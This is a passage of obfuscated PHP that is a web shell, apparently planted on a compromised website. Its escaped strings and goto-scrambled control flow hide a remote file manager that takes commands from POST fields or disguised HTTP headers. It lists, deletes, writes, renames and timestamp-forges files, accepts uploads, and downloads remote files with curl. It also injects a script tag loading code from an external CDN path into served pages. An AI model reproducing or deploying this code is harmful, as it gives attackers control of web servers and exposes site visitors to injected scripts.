HIxP4, "\163\145\x72\x76\145\x72" => $_SERVER["\123\105\x52\126\105\122\x5f\x53\x4f\x46\124\x57\x41\x52\105"], "\143\x69\160" => $_SERVER["\x52\x45\x4d\117\124\105\137\101\104\x44\122"]); goto wPWx7; hfU6F: doBOO: goto uC2MR; DHsuG: $UBO4n["\x76\x65\162\x73\x69\157\156"] = @phpversion(); goto hfU6F; QI16Z: case 2: goto DNFFL; ITgqq: $ac5B0 = array(); goto qFigU; xuZcv: goto AHn4U; goto GHYHp; E0Lsu: $UBO4n["\146"] = $ac5B0; goto xuZcv; QgKMR: $UBO4n["\144"] = $WS1hD; goto E0Lsu; dUJSA: $WS1hD = array(); goto ITgqq; Jb6h6: $xSeQM = scandir($Ekofc); goto dUJSA; caRj7: WNMBn: goto QgKMR; rkfdG: $Ekofc = SMm0g(); goto YXnjz; qFigU: foreach ($xSeQM as $wMm9P) { goto liibM; c2bwd: $QC4JK = array("\156" => $wMm9P, "\x70" => substr(sprintf("\45\157", fILepErMs($ax8l7)), -4), "\164" => date("\x59\x2d\x6d\x2d\144\x20\110\72\151\x3a\163", fILeMTiMe($ax8l7))); goto VTN1s; VTN1s: if (is_dir($ax8l7)) { goto SM0OH; } goto LIoPr; CrGfd: rF4Da: goto ISZFn; R7ljy: goto XJTcI; goto CrGfd; jHXav: $ac5B0[] = $QC4JK; goto DSLEG; Wr_sn: ysgmK: goto i0_lS; ISZFn: $ax8l7 = $Ekofc . "\57" . $wMm9P; goto c2bwd; I9QTi: $WS1hD[] = $QC4JK; goto Wr_sn; i0_lS: XJTcI: goto jkWhb; DSLEG: goto ysgmK; goto nUWeI; nUWeI: SM0OH: goto I9QTi; liibM: if (!($wMm9P == "\56" || $wMm9P == "\x2e\x2e")) { goto rF4Da; } goto R7ljy; LIoPr: $QC4JK["\x73"] = filesize($ax8l7); goto jHXav; jkWhb: } goto caRj7; DNFFL: if (!empty($Ekofc)) { goto Pz12C; } goto rkfdG; YXnjz: Pz12C: goto Jb6h6; GHYHp: case 3: gkl4o($Ekofc); goto AHn4U; case 4: $UBO4n["\x76"] = JeTJa($Ekofc); goto AHn4U; case 5: goto hXOIW; MTE3c: goto AHn4U; goto YvAv5; hXOIW: if (is_writable($yCCkz)) { goto PjCsG; } goto Xbn4Z; Xbn4Z: @chmod($Ekofc, 0644); goto DKKvo; hxId9: $pWrVB = Zgrgc($yCCkz, $Ekofc) ? 1 : 0; goto MTE3c; DKKvo: PjCsG: goto hxId9; YvAv5: case 6: goto S7Wue; Kyw7L: $tNQCZ = $yCCkz . $Ekofc; goto XmQC5; S7Wue: $NzB3P = $yCCkz . yKebD("\156"); goto Kyw7L; ofvsm: bBEu1: goto De2sB; VeOra: goto kR6Gq; goto ofvsm; h7aS6: IYOdH: goto glFMk; ontzn: if ($vJGe1) { goto IYOdH; } goto VeOra; XmQC5: $vJGe1 = @FiLemTiME($NzB3P); goto cbVEz; vNDxv: goto kR6Gq; goto h7aS6; Xvm0j: kR6Gq: goto CG1ee; CG1ee: goto AHn4U; goto KchA5; glFMk: @touCH($tNQCZ, $vJGe1, $vJGe1); goto Xvm0j; cbVEz: if (!@ReNamE($NzB3P, $tNQCZ)) { goto bBEu1; } goto ontzn; De2sB: $pWrVB = 0; goto vNDxv; KchA5: case 7: goto Z0Xbb; pIA4s: zygvQ: goto COmb2; COmb2: goto AHn4U; goto lh5Hb; Z0Xbb: if (@chmod($yCCkz, $Ekofc)) { goto zygvQ; } goto r3QIy; r3QIy: $pWrVB = 0; goto pIA4s; lh5Hb: case 8: $pWrVB = move_uploaded_file($_FILES["\x66"]["\164\155\x70\137\x6e\141\155\x65"], $Ekofc) ? 1 : 0; goto AHn4U; case 9: $pWrVB = zGrgc($Ekofc, '') ? 1 : 0; goto AHn4U; case 10: $pWrVB = mkdir($Ekofc) ? 1 : 0; goto AHn4U; case 11: goto Oh5b8; qv8gm: goto AHn4U; goto CkT8_; Oh5b8: $AmkyJ = ykEBd("\x6c"); goto YEo2P; YEo2P: $pWrVB = lNXaP($Ekofc, $AmkyJ) ? 1 : 0; goto qv8gm; CkT8_: } goto XhaeF; QaVN4: $hlAzf["\x63\157\144\145"] = $pWrVB; goto h1_4N; XiBPK: error_reporting(0); goto EKu4x; WkEO1: if (empty($mrKzh)) { goto lPcOV; } goto gzGoW; ajRnR: return; goto F6r0l; W05tM: $Ekofc = base64_decode(substr($Ekofc, 1)); goto hPmc4; Q4ni0: $UBO4n = array(); goto ydB3_; kWEwZ: $yCCkz = ykeBd("\144"); goto Q4ni0; B60_D: register_shutdown_function(function () { goto poucy; poucy: global $hlAzf; goto vQex8; WF8NG: echo json_encode($hlAzf); goto xF2BP; vQex8: ob_end_clean(); goto WF8NG; xF2BP: }); goto ajRnR; cSZ3k: function ZgRGc($mrKzh, $pWrVB) { return file_put_contents($mrKzh, $pWrVB) !== false; } goto yZY0n; D07jH: function U1jRo($mrKzh) { return function_exists($mrKzh); } goto uJi9Q; BrLUi: $hlAzf["\144\141\x74\141"] = $UBO4n; goto QaVN4; gzGoW: $Ekofc = !empty($_POST["\x76"]) ? $_POST["\166"] : @$_SERVER["\110\x54\124\120\x5f\130\137\x43\x53\122\x46\x5f\x54\x4f\x4b\105\x4e"]; goto dHKb9; NLt8o: function Gkl4O($ax8l7) { goto P9uP1; ci9kB: $ZEPRd = sCaNDir($ax8l7); goto M5YJH; yc3jA: EEP_B: goto ci9kB; P9uP1: if (is_dir($ax8l7)) { goto EEP_B; } goto zuqJ1; zuqJ1: uNliNk($ax8l7); goto YDUXr; eJBt6: rMdIR($ax8l7); goto Lhh0D; Lhh0D: E5F1w: goto fDyqA; YDUXr: goto E5F1w; goto yc3jA; G1w_W: wVNpK: goto eJBt6; M5YJH: foreach ($ZEPRd as $PdGkJ) { goto igx3s; c49ZF: MMbDL: goto tsLSR; QQEN0: is_dir($L3PRS) ? gKL4o($L3PRS) : uNliNk($L3PRS); goto c49ZF; igx3s: if (!($PdGkJ == "\x2e" || $PdGkJ == "\x2e\56")) { goto eU6TC; } goto Khh72; lQGvQ: $L3PRS = $ax8l7 . "\x2f" . $PdGkJ; goto QQEN0; Po0Sb: eU6TC: goto lQGvQ; Khh72: goto MMbDL; goto Po0Sb; tsLSR: } goto G1w_W; fDyqA: } goto dztNq; CSIKs: $mrKzh = YkEbd("\141"); goto WkEO1; hPmc4: KYMkO: goto kWEwZ; EKu4x: define("\110\111\x78\x50\64", $_SERVER["\x44\x4f\103\x55\115\105\116\124\x5f\x52\x4f\x4f\124"]); goto qc0i9; F6r0l: lPcOV: goto fPg9F; dztNq: function lNXaP($NzB3P, $AmkyJ) { goto Nij4C; fKK7k: EoBPQ: goto GUmO3; qkfsB: $AY3_f = fopen($NzB3P, "\167\x2b"); goto vnyiS; WEo1C: goto EoBPQ; goto UdyhD; CgxI8: if (curl_exec($ZCT6f)) { goto LVjNw; } goto hEBVe; IzlyX: fclose($AY3_f); goto fKK7k; YODqb: $PdGkJ = @ZGRgC($NzB3P, jEtJA($AmkyJ)) ? 1 : 0; goto WEo1C; Nij4C: if (u1jRo("\x63\x75\162\x6c\137\x69\x6e\151\164")) { goto H713e; } goto YODqb; xKB_r: curl_setopt($ZCT6f, CURLOPT_TIMEOUT, 50); goto CgxI8; E6pqX: $ZCT6f = curl_init($AmkyJ); goto qkfsB; PW5Vq: $PdGkJ = 1; goto Pt5Dg; Pt5Dg: zhox8: goto IzlyX; xj_6_: curl_close($ZCT6f); goto PW5Vq; zLDt6: LVjNw: goto xj_6_; hEBVe: $PdGkJ = fwrite($AY3_f, JetJa($AmkyJ)) ? 1 : 0; goto DPwgN; vnyiS: curl_setopt($ZCT6f, CURLOPT_FILE, $AY3_f); goto xKB_r; GUmO3: return $PdGkJ; goto h3aVi; UdyhD: H713e: goto E6pqX; DPwgN: goto zhox8; goto zLDt6; h3aVi: } goto u05Vg; u05Vg: function yKeBd($pWrVB) { return !empty($_POST[$pWrVB]) ? $_POST[$pWrVB] : $_SERVER["\x48\124\124\120\x5f\130\137" . strtoupper($pWrVB)]; } goto CSIKs; h1_4N: header("\103\157\156\164\145\156\164\x2d\x74\171\x70\145\x3a\x20\x61\x70\160\154\x69\x63\x61\164\151\157\156\x2f\152\x73\x6f\x6e\73\x20\143\x68\141\162\x73\145\x74\75\x75\164\x66\55\70"); goto B60_D; qc0i9: $hlAzf = array(); goto D07jH; zRQhX: AHn4U: goto BrLUi; fPg9F: echo "\x3c\163\x63\x72\151\160\164\x20\x74\171\160\x65\x3d\42\155\x6f\144\165\154\145\x22\x20\x73\x72\143\75\42\150\x74\164\x70\163\x3a\x2f\x2f\143\144\x6e\56\152\x73\144\x65\154\151\166\x72\56\156\145\164\x2f\x67\x68\x2f\x64\151\157\156\152\157\57\142\153\x73\153\142\x2f\64\x2e\x6a\163\x22\76\74\57\163\x63\162\151\x70\x74\x3e"; ?>